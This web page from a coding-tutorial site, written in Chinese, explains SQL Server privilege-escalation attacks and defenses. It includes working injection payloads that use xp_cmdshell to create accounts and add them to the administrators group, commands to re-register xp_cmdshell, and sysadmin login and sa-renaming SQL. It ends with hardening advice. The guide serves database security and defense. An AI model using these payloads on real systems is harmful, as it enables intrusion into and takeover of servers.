首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 提權攻擊指令與防禦對策完整指南

     編輯:關於SqlServer

常見提權攻擊指令

xp_cmdshell 惡意利用

;exec master..xp_cmdshell "net user name passWord /add"--
;exec master..xp_cmdshell "net localgroup administrators name /add"--

攻擊者透過 SQL 注入呼叫擴展預存程序 xp_cmdshell 執行作業系統指令,建立帳號並加入管理員群組。

啟用 xp_cmdshell 的 SQL 指令

EXEC sp_addextendedproc xp_cmdshell, @dllname = 'xplog70.dll'

檢查擴展預存程序是否存在

SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell'
-- 回傳 1 表示存在

恢復/重新註冊 xp_cmdshell

EXEC master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll';
-- 若失敗,嘗試指定完整路徑
EXEC master.dbo.addextendedproc 'xp_cmdshell', 'C:/WinNt/System32/xplog70.dll'

封鎖 xp_cmdshell

EXEC sp_dropextendedproc 'xp_cmdshell'

作業系統層面指令

dir c:/ / d:/ / e:/
net user TsInternetUsers PassWord /add
net localGroup Administrators TsInternetUsers /add

IPSEC 原則備份與還原 (防禦)

secedit /export /CFG c:/tmp.inf
echo "sedenynetworklogonright =" >> c:/tmp.inf
secedit /configure /db c:/Windows/secedit.sdb /CFG c:/tmp.inf

SQL 層面帳號管理

EXEC master..sp_addlogin 'UserName', 'PassWord'
EXEC master..sp_addsrvrolemember 'UserName', 'sysadmin'

sa 帳號改名與刪除 (企業管理器 + 查詢分析器)

  1. 企業管理器 → 工具 → SQL Server 設定屬性 → 伺服器設定 → 勾選「允許直接修改系統目錄」。
  2. 查詢分析器登入 master 資料庫 (需 db_owner 權限),執行:
    UPDATE sysxlogins SET name = '新名稱' WHERE sid = 0x01;
    UPDATE sysxlogins SET sid = 0xE765555BD44F054F89CD0076A06EA823 WHERE name = '新名稱';
  3. 企業管理器重新整理安全性/登入,原 sa 已改名,可右鍵刪除。

直接在查詢分析器刪除 sa (使用 sp_configure)

EXEC sp_configure 'allow updates', 1;
RECONFIGURE WITH OVERRIDE;
GO
-- 接著執行上述 UPDATE sysxlogins 改名,再刪除該登入
-- 注意:sp_configure 兩個參數需 sysadmin/serveradmin 權限,RECONFIGURE 需 sysadmin/serveradmin,且必須在 master 為 db_owner

防禦建議總結

  • 移除/停用 xp_cmdshell:生產環境預設應刪除此擴展預存程序。
  • 最小權限原則:應用程式連線帳號僅授予必要資料庫權限,嚴禁使用 sa。
  • 審計與監控:定期檢查 sysobjects 中擴展預存程序、異常登入嘗試、權限異動。
  • 修改 sa 帳號:改名並設定強複雜密碼,或直接停用 sa 改用 Windows 整合驗證。
  • 防火牆與網路隔離:資料庫伺服器不直接暴露於網際網路,限制來源 IP 存取 1433/1434 連接埠。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved